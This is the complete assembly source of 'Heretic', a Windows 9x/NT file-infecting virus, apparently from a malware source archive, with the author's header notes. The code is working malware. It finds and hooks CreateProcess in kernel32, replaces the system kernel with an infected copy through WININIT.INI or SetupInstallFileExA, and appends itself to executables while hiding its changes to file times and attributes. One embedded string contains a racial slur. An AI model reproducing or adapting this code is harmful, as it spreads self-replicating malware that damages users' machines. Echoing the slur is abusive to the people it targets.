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MalwareSourceCode/MSDOS/H-Index/Virus.MSDOS.Unknown.heretic.asm
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2022-08-21 04:07:57 -05:00

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;
; SYNOPSIS
;
; Heretic - A Microsoft Windows 32 virus
;
; AUTHOR
;
; Memory Lapse, [NOP]
; formerly of Phalcon/Skism
;
; ABSTRACT
;
; This virus works under all beta versions of Windows 9x, and Windows NT 4.0.
; Under a Win32s environment, the virus will fail since the kernel doesn't
; physically export any useable API. Parsing the import table of the host image
; for GetProcAddress and GetModuleHandle should do the trick.
;
; NOTES
;
; Finally after seven months (including a four month hiatus for university),
; I've finally finished this virus.
;
; Ideally when the kernel is infected, the object the virus extends
; (typically .reloc) should have its flags with IMAGE_SCN_MEM_WRITE turned off.
; This will prevent in-memory patching by antivirus software. Heretic does
; not do this. At least not yet.
;
; Useful reading material: Microsoft Platform, SDK, and DDK Documentation
;
; Greets to priest, h8, lookout, virogen and johnny panic.
;
.386
locals
.model flat, stdcall
.code
.radix 16
include heretic.inc
CRC_POLY equ 0EDB88320
CRC_INIT equ 0FFFFFFFF
crc macro string
crcReg = CRC_INIT
irpc _x,
ctrlByte = '&_x&' xor (crcReg and 0ff)
crcReg = crcReg shr 8
rept 8
ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
endm
crcReg = crcReg xor ctrlByte
endm
dd crcReg
endm
MARKER equ "DOS lives somewhere in time"
org 0
start: push L offset host - start ;location of old entry point
ddOldEntryPoint = dword ptr $ - 4
pushfd ;save state
pushad
call @@delta
@@delta:pop ebp
sub ebp,offset @@delta - start
;thanks vg!
db 81,0edh ;sub ebp,unsignedlong
ddEntryPoint dd 0
add [esp+24],ebp ;return address of host
mov edi,[esp+28] ;get a "random" pointer from stack
and edi,0FFFF0000 ;mask off bottom word
call try
catch: mov esp,[esp+8] ;get pointer to our stack-based
; exception record
jmp finally ;and return to host
try: push dword ptr fs:[0] ;this is our try { } block
mov fs:[0],esp ;create stack-based exception record
.repeat
dec edi ;move back a byte
lea eax,[edi-MAGIC] ;thanks h8!
cmp [edi],eax ;match? then we've found the kernel
.until zero?
mov esi,[eax+exe_str.pe_offset]
add esi,eax ;traverse PE header and find
; Export Data Directory Table
mov ebp,[esi+pe_str.export_tbl]
add ebp,eax ;RVA -> absolute
push eax
push [ebp+edt_str.edt_ord_base]
mov ebx,[ebp+edt_str.edt_ord_rva]
mov edi,[ebp+edt_str.edt_name_rva]
mov ebp,[ebp+edt_str.edt_addr_rva]
add ebx,eax ;adjust ordinal table pointer
add edi,eax ;adjust name pointer table pointer
add ebp,eax ;adjust address pointer table pointer
push ebp ;we save these values onto the stack
push eax ; so we can free up registers
call @@delta
@@delta:pop ebp
sub ebp,offset @@delta
push ebp
; on entry:
; [esp] : delta offset
; [esp+4] : image base
; [esp+8] : address pointer table
; [esp+0c] : ordinal base
; ebx - ordinal table
; esi - pointer to our list of apis
; edi - name pointer table
lea esi,[ebp+name_ptr_api]
mov ecx,1
mov edx,(name_ptr_api_end - name_ptr_api) / 4
top: push edx
push esi
mov esi,[edi] ;calculate absolute offset of
add esi,[esp+0c] ; name pointer (image base)
mov edx,CRC_INIT
lup: lodsb
or al,al ;termination token? then quit
jz chkCRC
xor dl,al
mov al,8
.repeat ;perform CRC-32 on string
shr edx,1 ;thanks jp!
.if carry?
xor edx,CRC_POLY
.endif
dec al
.until zero?
jmp lup
chkCRC: pop esi
push edi
mov ebp,ecx
shl ebp,1 ;convert count into word index
movzx eax,word ptr [ebx+ebp] ;calculate ordinal index
sub eax,[esp+14] ;relative to ordinal base
shl eax,2 ;convert ordinal into dword index
mov ebp,eax
mov edi,[esp+10]
add eax,edi ;calculate offset
mov edi,[edi+ebp] ;RVA of API (dereference said offset)
add edi,[esp+0c] ;convert to absolute offset
mov ebp,[esp+8]
cmp edx,CRC_POLY ;CreateProcessA?
org $ - 4
crc
.if zero?
mov [ebp+lpCreateProcessA],eax ;hook it
mov [ebp+CreateProcessA],edi
.endif
cmp edx,CRC_POLY ;or CreateProcessW?
org $ - 4
crc
.if zero?
mov [ebp+lpCreateProcessW],eax ;hook it
mov [ebp+CreateProcessW],edi
.endif
cmp edx,[esi] ;or an API the virus uses?
.if zero?
mov [esi+(name_ptr_api_end - name_ptr_api)],edi
lodsd ;update pointer
dec dword ptr [esp+4] ;decrement our API count
.endif
pop edi
next: pop edx
add edi,4 ;next API
inc ecx ;remember displacement
or edx,edx ;no more names to parse?
jnz top
pop ebp ;restore delta offset
add esp,0c ;clear stack
call [ebp+GlobalAlloc], \ ;allocate memory for global structure
GMEM_FIXED, \
L size vir_str
mov edi,eax
pop [edi+vir_str.lpKernelBase]
call kernel ;attempt to infect the kernel
call [ebp+GlobalFree], \ ;release global structure resources
edi
finally:pop dword ptr fs:[0] ;this is our finally { } block
pop eax ;trash exception handler address
;low and behold, the stack is restored
popad
popfd
ret
db '[nop] 4 life.. lapse, vg and jp own you! :)'
infect: mov [edi+vir_str.ddError],TRUE ;assume an error occurred
call [ebp+GetFileAttributesA], \
[edi+vir_str.lpFileName]
mov [edi+vir_str.ddFilterAttributes],eax
inc eax
jz exit
call [ebp+SetFileAttributesA], \ ;strip file attributes
[edi+vir_str.lpFileName], \
FILE_ATTRIBUTE_NORMAL
or eax,eax ;error? possibly a r/o disk?
jz exit
call [ebp+CreateFileA], \
[edi+vir_str.lpFileName], \
GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_NOTSHARED, \
NULL, \
OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL, \
NULL
mov [edi+vir_str.hFile],eax ;if we don't get a valid file
inc eax ;descriptor (ie. an invalid handle),
jz exitChmod ;quit processing
lea eax,[edi+vir_str.ddLastWriteTime]
lea ecx,[edi+vir_str.ddLastAccessTime]
lea edx,[edi+vir_str.ddCreationTime]
call [ebp+GetFileTime], \ ;save file timestamps
[edi+vir_str.hFile], \
edx, \
ecx, \
eax
call [ebp+CreateFileMappingA], \ ;create a mmap object
[edi+vir_str.hFile], \
NULL, \
PAGE_READONLY, \
L 0, \
L 0, \
NULL
or eax,eax
jz exitTime
mov [edi+vir_str.hFileMappingObject],eax
call [ebp+MapViewOfFile], \ ;view the file in our address space
[edi+vir_str.hFileMappingObject], \
FILE_MAP_READ, \
L 0, \
L 0, \
L 0
or eax,eax
jz exitCloseMap
mov [edi+lpBaseAddress],eax
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
jnz exitUnmap ;some sort of executable?
mov esi,eax
add esi,[eax+exe_str.pe_offset] ;seek to NT header
push eax
call [ebp+IsBadCodePtr], \ ;can we read the memory at least?
esi ;potentially not a Windows file?
or eax,eax
pop eax
jnz exitUnmap
cmp dword ptr [esi],IMAGE_NT_SIGNATURE
jnz exitUnmap ;PE file?
cmp [esi+pe_str.timestamp],CRC_POLY
org $ - 4
crc MARKER
jz exitUnmap
lea eax,[ebp+infectKernel]
cmp [edi+vir_str.lpInfectMethod],eax;attempting to infect KERNEL32.DLL?
.if !zero?
test [esi+pe_str.flags],IMAGE_FILE_DLL
jnz exitUnmap ;and not a runtime library?
.endif
call getLastObjectTable
mov eax,[ebx+obj_str.obj_psize]
add eax,[ebx+obj_str.obj_poffset]
add eax,(_end - start) ;calculate maximum infected file size
mov ecx,[esi+pe_str.align_file]
call align
mov [edi+vir_str.ddFileSizeInfected],eax
call [ebp+UnmapViewOfFile], \
[edi+vir_str.lpBaseAddress]
call [ebp+CloseHandle], \
[edi+vir_str.hFileMappingObject]
call [ebp+CreateFileMappingA], \ ;reopen and extend mmap file
[edi+vir_str.hFile], \
NULL, \
PAGE_READWRITE, \
L 0, \
[edi+vir_str.ddFileSizeInfected], \
NULL
mov [edi+vir_str.hFileMappingObject],eax
call [ebp+MapViewOfFile], \
[edi+vir_str.hFileMappingObject], \
FILE_MAP_WRITE, \
L 0, \
L 0, \
L 0
mov [edi+vir_str.lpBaseAddress],eax
add eax,[eax+exe_str.pe_offset]
mov esi,eax
call getLastObjectTable
mov eax,[ebx+obj_str.obj_rva] ;set new entry point if an EXE
add eax,[ebx+obj_str.obj_psize] ; or set hooks if kernel32.dll
call [edi+vir_str.lpInfectMethod]
push edi
push esi
mov edi,[edi+vir_str.lpBaseAddress]
add edi,[ebx+obj_str.obj_poffset]
add edi,[ebx+obj_str.obj_psize]
lea esi,[ebp+start]
mov ecx,(_end - start)
cld
rep movsb ;copy virus
pop esi
pop eax
xchg eax,edi
sub eax,[edi+vir_str.lpBaseAddress] ;new psize = old psize + (_end - start)
sub eax,[ebx+obj_str.obj_poffset]
mov ecx,[esi+pe_str.align_file]
call align ;calculate new physical size
mov [ebx+obj_str.obj_psize],eax
mov eax,[ebx+obj_str.obj_vsize]
add eax,(_end - start)
mov ecx,[esi+pe_str.align_obj]
call align ;calculate potential new virtual size
cmp eax,[ebx+obj_str.obj_psize] ;if new physical size > new virtual size
.if carry?
mov eax,[ebx+obj_str.obj_psize] ;then let the virtual size = physical size
.endif
mov [ebx+obj_str.obj_vsize],eax
add eax,[ebx+obj_str.obj_rva]
cmp eax,[esi+pe_str.size_image] ;infected host increased in image size?
.if !carry?
mov [esi+pe_str.size_image],eax
.endif
mov [esi+pe_str.timestamp],CRC_POLY
org $ - 4
crc MARKER
or [ebx+obj_str.obj_flags],IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
lea eax,[ebp+szImageHlp]
call [ebp+LoadLibraryA], \ ;load image manipulation library
eax
or eax,eax
.if !zero?
push eax ;(*) argument for FreeLibrary()
lea ecx,[ebp+szChecksumMappedFile]
call [ebp+GetProcAddress], \ ;get address of image checksum api
eax, \
ecx
or eax,eax
.if !zero?
lea ecx,[esi+pe_str.pe_cksum]
lea edx,[edi+vir_str.ddBytes]
call eax, \ ;calculate checksum
[edi+vir_str.lpBaseAddress], \
[edi+vir_str.ddFileSizeInfected], \
edx, \
ecx
.endif
call [ebp+FreeLibrary] ;argument is set at (*)
.endif
mov [edi+vir_str.ddError],FALSE ;no errors!
exitUnmap:
call [ebp+UnmapViewOfFile], \ ;unmap the view
[edi+vir_str.lpBaseAddress]
exitCloseMap:
call [ebp+CloseHandle], \ ;remove mmap from our address space
[edi+vir_str.hFileMappingObject]
exitTime:
lea eax,[edi+vir_str.ddLastWriteTime]
lea ecx,[edi+vir_str.ddLastAccessTime]
lea edx,[edi+vir_str.ddCreationTime]
call [ebp+SetFileTime], \ ;restore file time
[edi+vir_str.hFile], \
edx, \
ecx, \
eax
call [ebp+CloseHandle], \ ;close the file
[edi+vir_str.hFile]
exitChmod:
call [ebp+SetFileAttributesA], \ ;restore file attributes
[edi+vir_str.lpFileName], \
[edi+vir_str.ddFilterAttributes]
exit: ret ;return to caller
kernel: call [ebp+GlobalAlloc], \ ;allocate memory for source buffer
GMEM_FIXED, \
_MAX_PATH
mov [edi+vir_str.lpSrcFile],eax
call [ebp+GetSystemDirectoryA], \ ;store %sysdir% in source buffer
eax, \
_MAX_PATH
call [ebp+GlobalAlloc], \ ;allocate memory for destination buffer
GMEM_FIXED, \
_MAX_PATH
mov [edi+vir_str.lpDstFile],eax
call [ebp+GetWindowsDirectoryA], \ ;store %windir% in destination buffer
eax, \
_MAX_PATH
lea eax,[ebp+szKernel]
call [ebp+lstrcatA], \ ;*lpSrcFile = %sysdir%\kernel32.dll
[edi+vir_str.lpSrcFile], \
eax
lea eax,[ebp+szKernel]
call [ebp+lstrcatA], \ ;*lpDstFile = %windir%\kernel32.dll
[edi+vir_str.lpDstFile], \
eax
call [ebp+CopyFileA], \
[edi+vir_str.lpSrcFile], \ ;%sysdir%\kernel32.dll
[edi+vir_str.lpDstFile], \ ; -> %windir%\kernel32.dll
FALSE
lea eax,[ebp+infectKernel]
mov [edi+lpInfectMethod],eax ;we're trying to infect the kernel
mov eax,[edi+vir_str.lpDstFile]
mov [edi+vir_str.lpFileName],eax
call infect
.if [edi+vir_str.ddError] == FALSE
lea eax,[ebp+szSetupApi]
call [ebp+LoadLibraryA], \
eax
or eax,eax ;if LoadLibrary fails, explicitly write
.if zero? ;to WININIT.INI (Windows 95)
lea eax,[ebp+szWinInitFile] ;delete the original kernel
push eax
push [edi+vir_str.lpSrcFile]
lea eax,[ebp+szKeyName]
push eax
lea eax,[ebp+szAppName]
push eax
call [ebp+WritePrivateProfileStringA]
lea eax,[ebp+szWinInitFile] ;move our patched kernel
push eax
push [edi+vir_str.lpDstFile]
push [edi+vir_str.lpSrcFile]
lea eax,[ebp+szAppName]
push eax
call [ebp+WritePrivateProfileStringA]
.else
push eax ;(*) argument for FreeLibrary
lea ebx,[ebp+szSetupInstallFileExA] ;fetch address of API from this DLL
call [ebp+GetProcAddress], \
eax, \
ebx
or eax,eax
.if !zero?
lea ebx,[edi+ddBytes]
call eax, \ ;move patched kernel
NULL, \ ;NT->delay until next reboot
NULL, \ ; modified MoveFileEx behaviour?
[edi+vir_str.lpDstFile], \ ;98->WININIT.INI
NULL, \
[edi+vir_str.lpSrcFile], \
SP_COPY_SOURCE_ABSOLUTE or SP_COPY_DELETESOURCE, \
NULL, \
NULL, \
ebx
.endif
mov esi,eax
call [ebp+FreeLibrary]
mov eax,esi
.endif
or eax,eax
.if zero?
mov [edi+vir_str.ddError],TRUE
.endif
.endif
.if [edi+vir_str.ddError] == TRUE
call [ebp+DeleteFileA], \ ;delete %windir%\kernel32.dll if
[edi+vir_str.lpFileName] ; an error infecting or moving
.endif
call [ebp+GlobalFree], \ ;deallocate destination buffer
[edi+vir_str.lpDstFile]
call [ebp+GlobalFree], \ ;deallocate source buffer
[edi+vir_str.lpSrcFile]
ret
infectKernel:
xchg eax,ecx
movzx eax,[esi+pe_str.size_NThdr]
add eax,esi
add eax,offset pe_str.majik
mov edx,0
lpCreateProcessA = dword ptr $ - 4
sub edx,[edi+vir_str.lpKernelBase]
@@lup: cmp [eax+obj_str.obj_rva],edx ;was the API in the previous object?
ja @@next
add eax,size obj_str ;next object
jmp @@lup
@@next: sub eax,size obj_str ;seek back to export object
push L offset hookCreateProcessA - start
call trapAPI
mov edx,0
lpCreateProcessW = dword ptr $ - 4
sub edx,[edi+vir_str.lpKernelBase]
push L offset hookCreateProcessW - start
call trapAPI
ret
infectEXE:
mov [ebp+ddEntryPoint],eax
xchg eax,[esi+pe_str.rva_entry]
mov [ebp+ddOldEntryPoint],eax
ret
trapAPI:push ebx
push ecx
mov ebx,[eax+obj_str.obj_poffset]
sub ebx,[eax+obj_str.obj_rva]
add ebx,[edi+vir_str.lpBaseAddress]
add ebx,edx
add ecx,[esp+0c]
mov [ebx],ecx
pop ecx
pop ebx
ret 4
align: xor edx,edx
add eax,ecx
dec eax
div ecx
mul ecx
ret
getLastObjectTable:
movzx eax,[esi+pe_str.num_obj]
cdq
mov ecx,L size obj_str
dec eax
mul ecx
movzx edx,[esi+pe_str.size_NThdr]
add eax,edx
add eax,esi
add eax,offset pe_str.majik ;seek to last object table
xchg eax,ebx
ret
;on entry:
; [esp] : return address to caller
; [esp+4] -> [esp+28] : registers
; [esp+2c] : return address to process
; [esp+34] : commandline
hookInfectUnicode:
call @@delta
@@delta:pop ebp
sub ebp,offset @@delta
mov edi,[esp+34]
call [ebp+WideCharToMultiByte], \ ;find out how many bytes to allocate
CP_ACP, \ ; ANSI code page
L 0, \ ; no composite/unmapped characters
edi, \ ; lpWideCharStr
L -1, \ ; calculate strlen(lpWideCharStr)+1
NULL, \ ; no buffer
L 0, \ ; tell us how many bytes to allocate
NULL, \ ; ignore unmappable characters
NULL ; don't tell us about problems
or eax,eax ;no bytes can be converted?
jz hookInfectError ;then bomb out.
push eax ;(*)
call [ebp+GlobalAlloc], \ ;allocate enough memory for the
GMEM_FIXED, \ ; converted UNICODE string
eax
or eax,eax ;any memory available?
pop ecx ;(*)
jz hookInfectError
mov esi,eax
mov edi,[esp+34]
call [ebp+WideCharToMultiByte], \ ;UNICODE -> ANSI conversion
CP_ACP, \ ; ANSI code page
L 0, \ ; no composite/unmappable characters
edi, \ ; lpWideCharStr
L -1, \ ; calculate strlen(lpWideCharStr)+1
esi, \ ; destination buffer for ANSI characters
ecx, \ ; size of destination buffer
NULL, \ ; ignore unmappable characters
NULL ; don't tell us about problems
jmp hookInfectDispatch
;on entry:
; [esp] : return address to caller
; [esp+4] -> [esp+28] : registers
; [esp+2c] : return address to process
; [esp+34] : commandline
hookInfectAnsi:
call @@delta
@@delta:pop ebp
sub ebp,offset @@delta
mov edi,[esp+34] ;get the filename
call [ebp+lstrlenA], \ ;calculate string length
edi ; (not including null terminator)
or eax,eax ;zero length?
jz hookInfectError
inc eax ;include null terminator
call [ebp+GlobalAlloc], \ ;allocate some memory for the copy
GMEM_FIXED, \
eax
or eax,eax ;no memory?
jz hookInfectError
mov esi,eax
call [ebp+lstrcpyA], \ ;*edi -> *esi
esi, \
edi
hookInfectDispatch:
push esi ;(*) argument for GlobalFree
call [ebp+GlobalAlloc], \ ;instantiate our global structure
GMEM_FIXED, \
L size vir_str
or eax,eax ;fatal error if no memory
jz hookInfectErrorFree
mov edi,eax
mov [edi+vir_str.lpFileName],esi
mov [edi+vir_str.ddError],FALSE ;assume no parsing fix-ups required
lodsb
cmp al,'"'
.if zero?
mov [edi+vir_str.lpFileName],esi
mov [edi+vir_str.ddError],TRUE ;parsing fix-ups required
.endif
hookInfectParse:
lodsb ;get a byte
.if [edi+vir_str.ddError] == TRUE ;need a fix-up?
cmp al,'"' ;'"' is our terminator
jnz hookInfectParse
.else ;no fix-up required
cmp al,' ' ;' ' or \0 is our terminator
jz hookInfectParsed
or al,al
jnz hookInfectParse
.endif
hookInfectParsed:
mov byte ptr [esi-1],NULL ;null terminate string
lea eax,[ebp+infectEXE] ;we're infecting a non-kernel32 executable
mov [edi+vir_str.lpInfectMethod],eax
call infect
call [ebp+GlobalFree], \ ;deallocate global structure
edi
hookInfectErrorFree:
call [ebp+GlobalFree] ;deallocate lpFileName
hookInfectError:
ret
hookCreateProcessW:
push CRC_POLY
CreateProcessW = dword ptr $ - 4
hookUnicode:
pushfd
pushad
call hookInfectUnicode
popad
popfd
ret
hookCreateProcessA:
push CRC_POLY
CreateProcessA = dword ptr $ - 4
hookAnsi:
pushfd
pushad
call hookInfectAnsi
popad
popfd
ret
className db '[Heretic] by Memory Lapse',0
message db 'For my thug niggaz.. uptown baby, uptown.',0
szKernel db '\KERNEL32.DLL',0
szImageHlp db 'IMAGEHLP',0
szChecksumMappedFile db 'CheckSumMappedFile',0
szSetupApi db 'SETUPAPI',0
szSetupInstallFileExA db 'SetupInstallFileExA',0
szWinInitFile db 'WININIT.INI',0
szAppName db 'Rename',0
szKeyName db 'NUL',0
name_ptr_api:
ddCloseHandle: crc
ddCopyFileA: crc
ddCreateFileA: crc
ddCreateFileMappingA: crc
ddDeleteFileA: crc
ddFreeLibrary: crc
ddGetFileAttributesA: crc
ddGetFileTime: crc
ddGetProcAddress: crc
ddGetSystemDirectoryA: crc
ddGetWindowsDirectoryA: crc
ddGlobalAlloc: crc
ddGlobalFree: crc
ddIsBadCodePtr: crc
ddLoadLibraryA: crc
ddMapViewOfFile: crc
ddSetFileAttributesA: crc
ddSetFileTime: crc
ddUnmapViewOfFile: crc
ddWideCharToMultiByte: crc
ddWritePrivateProfileStringA: crc
ddlstrcatA: crc
ddlstrcpyA: crc
ddlstrlenA: crc
name_ptr_api_end:
; absolute offsets of desired API
CloseHandle dd 0
CopyFileA dd 0
CreateFileA dd 0
CreateFileMappingA dd 0
DeleteFileA dd 0
FreeLibrary dd 0
GetFileAttributesA dd 0
GetFileTime dd 0
GetProcAddress dd 0
GetSystemDirectoryA dd 0
GetWindowsDirectoryA dd 0
GlobalAlloc dd 0
GlobalFree dd 0
IsBadCodePtr dd 0
LoadLibraryA dd 0
MapViewOfFile dd 0
SetFileAttributesA dd 0
SetFileTime dd 0
UnmapViewOfFile dd 0
WideCharToMultiByte dd 0
WritePrivateProfileStringA dd 0
lstrcatA dd 0
lstrcpyA dd 0
lstrlenA dd 0
_end:
host: call MessageBoxA, \
NULL, \
L offset lpText, \
L offset lpCaption, \
L 0 ;MB_OK
call ExitProcess, \
L 0
.data
lpCaption db 'Memory Lapse has something to say..',0
lpText db 'Hello World!',0
end start
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